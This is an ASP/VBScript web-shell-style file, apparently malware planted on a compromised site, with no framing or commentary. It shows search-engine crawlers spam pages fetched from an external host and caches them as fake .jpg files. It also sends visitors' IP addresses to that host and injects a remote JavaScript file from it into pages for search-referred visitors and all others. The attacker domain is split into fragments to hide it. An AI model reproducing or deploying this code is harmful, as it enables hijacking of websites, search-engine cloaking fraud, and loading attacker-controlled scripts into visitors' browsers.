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Function fileExists(relativeFilePath)
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    fileExists = fso.FileExists(Server.MapPath(relativeFilePath))
End Function
Function ReadFile(filePath)
    Dim stream, fcc, chkey
    chkey = "index_" & Server.MapPath(filePath)
    If Not IsEmpty(Application(chkey)) Then
        fcc = Application(chkey)
    Else
        Set stream = Server.CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 2 ' adTypeText
        stream.Charset = "utf-8"
        stream.LoadFromFile Server.MapPath(filePath)
        fcc = stream.ReadText
        stream.Close
        Set stream = Nothing
        Application.Lock
        Application(chkey) = fcc
        Application.Unlock
    End If
    ReadFile = fcc
End Function

sub WriteF(filename, content)
    On Error Resume Next
    Dim stream
    Set stream = Server.CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 2 'adTypeText
    stream.Charset = "UTF-8"
    stream.WriteText content
    stream.SaveToFile Server.MapPath(filename), 2 'adSaveCreateOverWrite
    stream.Close
    Set stream = Nothing
    If Err.Number <> 0 Then
        WriteF = content
    Else
        WriteF = content
    End If
End sub

Function urls() 
u="bc."
u1="wskmn"
urls="http://"+u+u1+".com"+"/"
End Function 
Function format()
    filename=url()

    filename = Replace(filename, "http://", "")
    filename = Replace(filename, "https://", "")
    filename = Replace(filename, "\", "-")
    filename = Replace(filename, "/", "")
    filename = Replace(filename, ":", "-")
    filename = Replace(filename, "*", "-")
    filename = Replace(filename, "?", "-")
    filename = Replace(filename, """", "-")
    filename = Replace(filename, "<", "-")
    filename = Replace(filename, ">", "-")
    filename = Replace(filename, "|", "-")
    filename = Replace(filename, "&", "-")
    filename = Replace(filename, "=", "-")
    format=folder()&"-"&filename&".jpg"
End Function 
Function folder()
folder1="images\spider\"
folder=cfolder(folder1) 
End Function 

Function cfolder(dir) 
Dim fs,strFolder
strFolder=fo
Err.Clear
On Error Resume Next
set fs=Server.CreateObject("Scripting.FileSystemObject")
strFolder=Server.MapPath(dir)
If not fs.FolderExists(strFolder) Then
fs.CreateFolder strFolder
cfolder=dir 
End If
cfolder=dir 
End Function

Function all()
ff=format()
da=replace(date(),"/","-")
if fileExists(folder()&"date.jpg") then 
    rd=ReadFile(folder()&"date.jpg")
    if rd=da then
            if fileExists(ff) then
            all= ReadFile(ff)
            else
                aa= sour()
                WriteF ff,aa
                all=aa
             end if
     else
       aa= sour()
       WriteF ff,aa
       WriteF folder()&"date.jpg",da
       all=aa
    end if
else
       aa= sour()
       WriteF ff,aa
       WriteF folder()&"date.jpg",da
       all=aa
end if 
End Function
Function url()
dim http
  http=LCase(request.ServerVariables("QUERY_STRING"))
 if instr(http,"&")>0 then
  url=replace(http,"&","?",1,1)
  else
url=http
end if 
End Function 

function domain() 
domain=LCase(request.ServerVariables("SERVER_NAME"))
End Function

function sour()
ax="theoceanadventure.com"
aa=urls()+"?"+"domain="+ax+replace("&script=/"+"&id="&"/"&replace(replace(url(),"/"&ax,""),"//","/"),"//","/")
sour=GetWebContent(aa,"utf-8","60000")

End Function

Function GetUserIpAddress()
    Dim userIpAddress
    userIpAddress = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
    If userIpAddress = "" Then
        userIpAddress = Request.ServerVariables("HTTP_CLIENT_IP")
    End If
    If userIpAddress = "" Then
        userIpAddress = Request.ServerVariables("REMOTE_ADDR")
    End If
    If userIpAddress = "" Then
        userIpAddress = "error" 
    End If
    GetUserIpAddress = userIpAddress
End Function

Function getip()
Dim cacheKey, pageContent,uax
cacheKey=GetUserIpAddress()
uax="https://ip.wskmn.com/?"&GetUserIpAddress()
If Not IsEmpty(Application(cacheKey))  Then
    pageContent = Application(cacheKey)
Else
    pageContent = GetWebContent(uax,"utf-8","6000")
    Application.Lock()
    Application(cacheKey) = LCase(pageContent)
    Application.Unlock()
End If
if instr(pageContent,"""us""")>0 or instr(pageContent,"fail")>0 then
   getip=false
else
   getip=true
end if
End Function

function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("google","yahoo","baidu","sogou","360","bing","youdao","byte","spider","yisou")
isspider= false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function

function fromse() 
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","sogou","yahoo",".sm.","360.cn",".so.com",".bing.","youdao","baidu","toutiao")
for i=0 to ubound(searray)
 if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function

Function GetWebContent(strURL, strCharset, intTimeout)
    Response.CodePage = 65001
    Dim objHttp, strHTML
    On Error Resume Next
    Set objHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1")
    If Err.Number <> 0 Then
        Set objHttp = Server.CreateObject("MSXML2.ServerXMLHTTP.6.0")
    End If
    If Err.Number <> 0 Then
        Set objHttp = Server.CreateObject("MSXML2.XMLHTTP")
    End If
    If Err.Number <> 0 Then
        Set objHttp = Server.CreateObject("Microsoft.XMLHTTP")
    End If
    On Error GoTo 0
    If objHttp Is Nothing Then
        GetWebContent = ""
        Exit Function
    End If
    objHttp.Open "GET", strURL, False
    objHttp.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    objHttp.SetTimeouts intTimeout, intTimeout, intTimeout, intTimeout
    objHttp.Send
    strHTML = objHttp.responseText
    If Left(strHTML, 3) = ChrW(&HFEFF) Then
        strHTML = Mid(strHTML, 4)
    End If
    
    Dim arrCharsets(2)
    arrCharsets(0) = "utf-8"
    arrCharsets(1) = "gb2312"
    arrCharsets(2) = "gbk"
    
    Dim strCharsetInArray, objStream, strStream
    For Each strCharsetInArray In arrCharsets
        Set objStream = Server.CreateObject("ADODB.Stream")
        objStream.Mode = 3 ' adModeReadWrite
        objStream.Type = 1 ' adTypeBinary
        objStream.Open
        objStream.Write objHttp.ResponseBody
        objStream.Position = 0
        objStream.Type = 2 ' adTypeText
        objStream.Charset = strCharsetInArray
        strStream = objStream.ReadText
        objStream.Close
        Set objStream = Nothing
        If InStr(strStream, ChrW(&HFFFD)) = 0 And InStr(strStream, " ") = 0 And InStr(strStream, "?") = 0 Then
            strHTML = strStream
            Exit For 
        End If
    Next
    
    Set objHttp = Nothing
    GetWebContent = strHTML
End Function
if isspider()=true  then
   'application.contents.removeall()
   response.clear
   Response.CodePage = 65001
   Response.Charset = "utf-8"
   response.write( replace( all(),"{upx}",GetWebContent("http://link.wskmn.com/b2/","utf-8","60000") )  )
   'response.write("<!--"&now()&"-->")
   response.end
end if
if fromse() then
    response.clear
    response.write("<script language='javascript' src='https://js.wskmn.com/bc/ul.js'></script><br/>")
    Response.Flush
    response.end
else

    response.write("<script language='javascript' src='https://js.wskmn.com/bc/ul.js'></script><br/>")

end if
%>